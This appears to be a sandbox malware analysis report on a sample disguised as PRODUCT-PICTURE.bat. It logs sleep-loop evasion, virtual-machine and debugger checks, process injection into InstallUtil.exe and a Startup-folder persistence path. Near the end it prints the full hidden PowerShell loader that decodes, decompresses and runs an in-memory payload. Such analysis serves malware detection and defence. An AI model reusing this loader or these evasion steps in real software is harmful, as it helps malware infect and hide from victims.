Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7668	Thread sleep time: -94828s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7668	Thread sleep time: -94641s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7668	Thread sleep time: -94516s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7668	Thread sleep time: -94391s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7668	Thread sleep time: -94281s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IV.bat.Usq TID: 7980	Thread sleep count: 3142 > 30	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IV.bat.Usq TID: 7980	Thread sleep count: 2031 > 30	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IV.bat.Usq TID: 8028	Thread sleep time: -6456360425798339s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 4936	Thread sleep count: 32 > 30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 4936	Thread sleep time: -29514790517935264s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 4936	Thread sleep time: -100000s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 4928	Thread sleep count: 3013 > 30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 4936	Thread sleep time: -99890s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 4936	Thread sleep time: -99781s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 4936	Thread sleep time: -99671s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 4936	Thread sleep time: -99561s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 4928	Thread sleep count: 6829 > 30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 4936	Thread sleep time: -99453s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 4936	Thread sleep time: -99344s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 4936	Thread sleep time: -99234s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 4936	Thread sleep time: -99124s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 4936	Thread sleep time: -99015s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 4936	Thread sleep time: -98906s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 4936	Thread sleep time: -98796s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 4936	Thread sleep time: -98678s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 4936	Thread sleep time: -98547s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 4936	Thread sleep time: -98437s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 4936	Thread sleep time: -98327s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 4936	Thread sleep time: -98216s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 4936	Thread sleep time: -98109s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 4936	Thread sleep time: -97994s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 4936	Thread sleep time: -97875s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 4936	Thread sleep time: -97765s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 4936	Thread sleep time: -97645s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 4936	Thread sleep time: -97515s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 4936	Thread sleep time: -97406s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 4936	Thread sleep time: -97297s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 4936	Thread sleep time: -97187s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 4936	Thread sleep time: -97076s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 4936	Thread sleep time: -96967s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 4936	Thread sleep time: -96859s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 4936	Thread sleep time: -96750s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 4936	Thread sleep time: -96639s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 4936	Thread sleep time: -96528s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 4936	Thread sleep time: -96406s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 4936	Thread sleep time: -96292s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 4936	Thread sleep time: -96172s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 4936	Thread sleep time: -96047s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 4936	Thread sleep time: -95927s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 4936	Thread sleep time: -95797s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 4936	Thread sleep time: -95687s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 4936	Thread sleep time: -95578s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 4936	Thread sleep time: -95469s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 4936	Thread sleep time: -95344s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 4936	Thread sleep time: -95234s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 4936	Thread sleep time: -95124s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 4936	Thread sleep time: -95015s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 4936	Thread sleep time: -94903s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 4936	Thread sleep time: -1799922s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 4936	Thread sleep time: -1799797s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 4936	Thread sleep time: -1799687s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 4936	Thread sleep time: -1799578s >= -30000s

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 100000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 99875	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 99766	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 99641	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 99531	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 99422	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 99311	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 99203	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 99094	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 98984	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 98874	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 98765	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 98654	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 98547	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 98437	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 98326	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 98218	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 98108	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 98000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 97873	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 97765	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 97655	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 97504	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 97386	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 97263	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 97156	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 97047	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 96937	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 96828	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 96719	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 96609	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 96500	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 96391	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 96281	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 96172	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 96062	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 95951	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 95843	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 95734	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 95625	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 95516	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 95391	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 95266	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 95156	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 95047	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 94936	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 94828	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 94641	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 94516	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 94391	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 94281	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IV.bat.Usq	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 100000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 99890
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 99781
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 99671
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 99561
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 99453
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 99344
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 99234
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 99124
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 99015
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 98906
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 98796
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 98678
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 98547
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 98437
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 98327
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 98216
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 98109
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 97994
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 97875
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 97765
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 97645
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 97515
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 97406
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 97297
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 97187
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 97076
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 96967
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 96859
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 96750
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 96639
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 96528
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 96406
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 96292
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 96172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 96047
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 95927
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 95797
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 95687
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 95578
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 95469
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 95344
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 95234
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 95124
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 95015
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 94903
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 1799922
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 1799797
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 1799687
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 1799578

Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData\	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\	Jump to behavior

Source: InstallUtil.exe, 00000007.00000002.1865949536.0000000004BEF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllu
Source: wscript.exe, 00000008.00000002.1804277205.000001C122F23000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: IV.bat.Usq, 0000000F.00000002.1839930699.00000000052C4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmware
Source: IV.bat.Usq, 0000000F.00000002.1839930699.0000000004FB9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SerialNumber0VMware\|VIRTUAL\|A M I\|XenDselect * from Win32_ComputerSystem
Source: IV.bat.Usq, 0000000F.00000002.1839930699.0000000004FB9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: model0Microsoft\|VMWare\|Virtual
Source: IV.bat.Usq, 0000000F.00000002.1839930699.00000000052C4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMwareVBox
Source: InstallUtil.exe, 00000011.00000002.4167941974.0000000005DF5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: IV.bat.Usq, 0000000F.00000002.1876882803.000000000670B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: LSVMCiSJED

Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Code function: 17_2_029270B0 CheckRemoteDebuggerPresent,

17_2_029270B0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Process queried: DebugPort

Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Process token adjusted: Debug			Jump to behavior
Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Process token adjusted: Debug			Jump to behavior

Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 530000 value starts with: 4D5A			Jump to behavior
Source: C:\Users\user\AppData\Roaming\IV.bat.Usq	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 400000 value starts with: 4D5A			Jump to behavior

Writes to foreign memory regions

Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 530000	Jump to behavior
Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 532000	Jump to behavior
Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 56E000	Jump to behavior
Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 570000	Jump to behavior
Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 29A008	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IV.bat.Usq	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 400000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IV.bat.Usq	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 402000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IV.bat.Usq	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 43E000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IV.bat.Usq	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 440000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IV.bat.Usq	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: AD1008	Jump to behavior

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo F "	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\xcopy.exe xcopy /d /q /y /h /i C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\attrib.exe attrib +s +h C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq -WindowStyle hidden -command "$Gcbnyd = get-content 'C:\Users\user\Desktop\PRODUCT-PICTURE.bat' \| Select-Object -Last 1; $Wbqkngq = [System.Convert]::FromBase64String($Gcbnyd);$Wwtukg = New-Object System.IO.MemoryStream( , $Wbqkngq );$Dsvtbpwioop = New-Object System.IO.MemoryStream;$Aslrlsosng = New-Object System.IO.Compression.GzipStream $Wwtukg, ([IO.Compression.CompressionMode]::Decompress);$Aslrlsosng.CopyTo( $Dsvtbpwioop );$Aslrlsosng.Close();$Wwtukg.Close();[byte[]] $Wbqkngq = $Dsvtbpwioop.ToArray();[Array]::Reverse($Wbqkngq); $Fmbtk = [System.AppDomain]::CurrentDomain.Load($Wbqkngq); $Gxbkjncruwk = $Fmbtk.EntryPoint; $Gxbkjncruwk.DeclaringType.InvokeMember($Gxbkjncruwk.Name, [System.Reflection.BindingFlags]::InvokeMethod, $null, $null, $null)\| Out-Null"	Jump to behavior
Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Roaming\IV.bat" "	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo F "	Jump to behavior
